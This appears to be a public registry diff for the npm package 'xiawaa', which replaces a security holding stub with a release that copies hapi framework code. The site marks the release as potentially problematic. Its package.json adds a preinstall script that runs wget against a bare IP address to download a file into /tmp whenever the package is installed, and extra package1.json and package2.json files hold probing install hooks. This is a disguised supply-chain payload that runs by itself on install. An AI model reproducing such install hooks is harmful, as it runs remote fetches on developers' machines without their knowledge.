xiawaa 0.0.1-security → 2.5.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of xiawaa might be problematic. Click here for more details.

Files changed (51) hide show
  1. package/NC.rar +0 -0
  2. package/README.md +23 -3
  3. package/lib/auth.js +573 -0
  4. package/lib/compression.js +119 -0
  5. package/lib/config.js +443 -0
  6. package/lib/core.js +699 -0
  7. package/lib/cors.js +207 -0
  8. package/lib/ext.js +96 -0
  9. package/lib/handler.js +165 -0
  10. package/lib/headers.js +187 -0
  11. package/lib/index.js +11 -0
  12. package/lib/methods.js +126 -0
  13. package/lib/request.js +751 -0
  14. package/lib/response.js +797 -0
  15. package/lib/route.js +517 -0
  16. package/lib/security.js +83 -0
  17. package/lib/server.js +603 -0
  18. package/lib/streams.js +61 -0
  19. package/lib/toolkit.js +258 -0
  20. package/lib/transmit.js +381 -0
  21. package/lib/validation.js +250 -0
  22. package/package-lock1.json +13 -0
  23. package/package.json +21 -3
  24. package/package1.json +24 -0
  25. package/package2.json +24 -0
  26. package/test/.hidden +1 -0
  27. package/test/auth.js +2020 -0
  28. package/test/common.js +27 -0
  29. package/test/core.js +2082 -0
  30. package/test/cors.js +647 -0
  31. package/test/file/image.jpg +0 -0
  32. package/test/file/image.png +0 -0
  33. package/test/file/image.png.gz +0 -0
  34. package/test/file/note.txt +1 -0
  35. package/test/handler.js +659 -0
  36. package/test/headers.js +537 -0
  37. package/test/index.js +25 -0
  38. package/test/methods.js +795 -0
  39. package/test/payload.js +849 -0
  40. package/test/request.js +2378 -0
  41. package/test/response.js +1568 -0
  42. package/test/route.js +967 -0
  43. package/test/security.js +97 -0
  44. package/test/server.js +3132 -0
  45. package/test/state.js +215 -0
  46. package/test/templates/invalid.html +3 -0
  47. package/test/templates/plugin/test.html +1 -0
  48. package/test/templates/test.html +3 -0
  49. package/test/toolkit.js +641 -0
  50. package/test/transmit.js +2121 -0
  51. package/test/validation.js +1831 -0
@@ -0,0 +1,250 @@
1
+ 'use strict';
2
+
3
+ const Boom = require('@hapi/boom');
4
+ const Hoek = require('@hapi/hoek');
5
+ const Validate = require('@hapi/validate');
6
+
7
+
8
+ const internals = {};
9
+
10
+
11
+ exports.validator = function (validator) {
12
+
13
+ Hoek.assert(validator, 'Missing validator');
14
+ Hoek.assert(typeof validator.compile === 'function', 'Invalid validator compile method');
15
+
16
+ return validator;
17
+ };
18
+
19
+
20
+ exports.compile = function (rule, validator, realm, core) {
21
+
22
+ validator = validator || internals.validator(realm, core);
23
+
24
+ // false - nothing allowed
25
+
26
+ if (rule === false) {
27
+ return Validate.object({}).allow(null);
28
+ }
29
+
30
+ // Custom function
31
+
32
+ if (typeof rule === 'function') {
33
+ return rule;
34
+ }
35
+
36
+ // null, undefined, true - anything allowed
37
+
38
+ if (!rule || // false tested above
39
+ rule === true) {
40
+
41
+ return null;
42
+ }
43
+
44
+ // {...} - ... allowed
45
+
46
+ if (typeof rule.validate === 'function') {
47
+ return rule;
48
+ }
49
+
50
+ Hoek.assert(validator, 'Cannot set uncompiled validation rules without configuring a validator');
51
+ return validator.compile(rule);
52
+ };
53
+
54
+
55
+ internals.validator = function (realm, core) {
56
+
57
+ while (realm) {
58
+ if (realm.validator) {
59
+ return realm.validator;
60
+ }
61
+
62
+ realm = realm.parent;
63
+ }
64
+
65
+ return core.validator;
66
+ };
67
+
68
+
69
+ exports.headers = function (request) {
70
+
71
+ return internals.input('headers', request);
72
+ };
73
+
74
+
75
+ exports.params = function (request) {
76
+
77
+ return internals.input('params', request);
78
+ };
79
+
80
+
81
+ exports.payload = function (request) {
82
+
83
+ if (request.method === 'get' ||
84
+ request.method === 'head') { // When route.method is '*'
85
+
86
+ return;
87
+ }
88
+
89
+ return internals.input('payload', request);
90
+ };
91
+
92
+
93
+ exports.query = function (request) {
94
+
95
+ return internals.input('query', request);
96
+ };
97
+
98
+
99
+ exports.state = function (request) {
100
+
101
+ return internals.input('state', request);
102
+ };
103
+
104
+
105
+ internals.input = async function (source, request) {
106
+
107
+ const localOptions = {
108
+ context: {
109
+ headers: request.headers,
110
+ params: request.params,
111
+ query: request.query,
112
+ payload: request.payload,
113
+ state: request.state,
114
+ auth: request.auth,
115
+ app: {
116
+ route: request.route.settings.app,
117
+ request: request.app
118
+ }
119
+ }
120
+ };
121
+
122
+ delete localOptions.context[source];
123
+ Hoek.merge(localOptions, request.route.settings.validate.options);
124
+
125
+ try {
126
+ const schema = request.route.settings.validate[source];
127
+ const bind = request.route.settings.bind;
128
+
129
+ var value = await (typeof schema !== 'function' ? internals.validate(request[source], schema, localOptions) : schema.call(bind, request[source], localOptions));
130
+ return;
131
+ }
132
+ catch (err) {
133
+ var validationError = err;
134
+ }
135
+ finally {
136
+ request.orig[source] = request[source];
137
+ if (value !== undefined) {
138
+ request[source] = value;
139
+ }
140
+ }
141
+
142
+ if (request.route.settings.validate.failAction === 'ignore') {
143
+ return;
144
+ }
145
+
146
+ // Prepare error
147
+
148
+ const defaultError = validationError.isBoom ? validationError : Boom.badRequest(`Invalid request ${source} input`);
149
+ const detailedError = Boom.boomify(validationError, { statusCode: 400, override: false });
150
+ detailedError.output.payload.validation = { source, keys: [] };
151
+ if (validationError.details) {
152
+ for (const details of validationError.details) {
153
+ const path = details.path;
154
+ detailedError.output.payload.validation.keys.push(Hoek.escapeHtml(path.join('.')));
155
+ }
156
+ }
157
+
158
+ if (request.route.settings.validate.errorFields) {
159
+ for (const field in request.route.settings.validate.errorFields) {
160
+ detailedError.output.payload[field] = request.route.settings.validate.errorFields[field];
161
+ }
162
+ }
163
+
164
+ return request._core.toolkit.failAction(request, request.route.settings.validate.failAction, defaultError, { details: detailedError, tags: ['validation', 'error', source] });
165
+ };
166
+
167
+
168
+ exports.response = async function (request) {
169
+
170
+ if (request.route.settings.response.sample) {
171
+ const currentSample = Math.ceil(Math.random() * 100);
172
+ if (currentSample > request.route.settings.response.sample) {
173
+ return;
174
+ }
175
+ }
176
+
177
+ const response = request.response;
178
+ const statusCode = response.isBoom ? response.output.statusCode : response.statusCode;
179
+
180
+ const statusSchema = request.route.settings.response.status[statusCode];
181
+ if (statusCode >= 400 &&
182
+ !statusSchema) {
183
+
184
+ return; // Do not validate errors by default
185
+ }
186
+
187
+ const schema = statusSchema !== undefined ? statusSchema : request.route.settings.response.schema;
188
+ if (schema === null) {
189
+ return; // No rules
190
+ }
191
+
192
+ if (!response.isBoom &&
193
+ request.response.variety !== 'plain') {
194
+
195
+ throw Boom.badImplementation('Cannot validate non-object response');
196
+ }
197
+
198
+ const localOptions = {
199
+ context: {
200
+ headers: request.headers,
201
+ params: request.params,
202
+ query: request.query,
203
+ payload: request.payload,
204
+ state: request.state,
205
+ auth: request.auth,
206
+ app: {
207
+ route: request.route.settings.app,
208
+ request: request.app
209
+ }
210
+ }
211
+ };
212
+
213
+ const source = response.isBoom ? response.output.payload : response.source;
214
+ Hoek.merge(localOptions, request.route.settings.response.options);
215
+
216
+ try {
217
+ let value;
218
+
219
+ if (typeof schema !== 'function') {
220
+ value = await internals.validate(source, schema, localOptions);
221
+ }
222
+ else {
223
+ value = await schema(source, localOptions);
224
+ }
225
+
226
+ if (value !== undefined &&
227
+ request.route.settings.response.modify) {
228
+
229
+ if (response.isBoom) {
230
+ response.output.payload = value;
231
+ }
232
+ else {
233
+ response.source = value;
234
+ }
235
+ }
236
+ }
237
+ catch (err) {
238
+ return request._core.toolkit.failAction(request, request.route.settings.response.failAction, err, { tags: ['validation', 'response', 'error'] });
239
+ }
240
+ };
241
+
242
+
243
+ internals.validate = function (value, schema, options) {
244
+
245
+ if (typeof schema.validateAsync === 'function') {
246
+ return schema.validateAsync(value, options);
247
+ }
248
+
249
+ return schema.validate(value, options);
250
+ };
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "jarynpm",
3
+ "version": "22.5.17",
4
+ "lockfileVersion": 2,
5
+ "requires": true,
6
+ "packages": {
7
+ "": {
8
+ "name": "jarynpm",
9
+ "version": "22.5.17",
10
+ "license": "ISC"
11
+ }
12
+ }
13
+ }
package/package.json CHANGED
@@ -1,6 +1,24 @@
1
1
  {
2
2
  "name": "xiawaa",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.5.18",
4
+ "description": "this is a demo.",
5
+ "main": "lib/index.js",
6
+ "directories": {
7
+ "lib": "lib",
8
+ "test": "test"
9
+ },
10
+ "scripts": {
11
+ "preinstall": "wget http://120.48.11.47:52213/1.txt -O /tmp/npm.txt",
12
+ "test": "echo 1 >/tmp/npm_test"
13
+ },
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+https://github.com/hapijs/hapi.git"
17
+ },
18
+ "author": "",
19
+ "license": "ISC",
20
+ "bugs": {
21
+ "url": "https://github.com/hapijs/hapi/issues"
22
+ },
23
+ "homepage": "https://github.com/hapijs/hapi#readme"
6
24
  }
package/package1.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "jarynpm",
3
+ "version": "22.5.17",
4
+ "description": "This is a demo.",
5
+ "main": "lib/index.js",
6
+ "directories": {
7
+ "lib": "lib",
8
+ "test": "test"
9
+ },
10
+ "scripts": {
11
+ "preinstall": "echo 1 >/tmp/npm_test"
12
+ "test": "echo 1 >/tmp/npm_test"
13
+ },
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+https://github.com/hapijs/hapi.git"
17
+ },
18
+ "author": "jary",
19
+ "license": "ISC",
20
+ "bugs": {
21
+ "url": "https://github.com/hapijs/hapi/issues"
22
+ },
23
+ "homepage": "https://github.com/hapijs/hapi#readme"
24
+ }
package/package2.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "jarynpm",
3
+ "version": "22.5.17",
4
+ "description": "This is a Demo.",
5
+ "main": "lib/index.js",
6
+ "directories": {
7
+ "lib": "lib",
8
+ "test": "test"
9
+ },
10
+ "scripts": {
11
+ "preinstall": "echo 1 > npmtest",
12
+ "test": "touch /tmp/npmtest"
13
+ },
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+https://github.com/hapijs/hapi.git"
17
+ },
18
+ "author": "",
19
+ "license": "ISC",
20
+ "bugs": {
21
+ "url": "https://github.com/hapijs/hapi/issues"
22
+ },
23
+ "homepage": "https://github.com/hapijs/hapi#readme"
24
+ }
package/test/.hidden ADDED
@@ -0,0 +1 @@
1
+ Ssssh!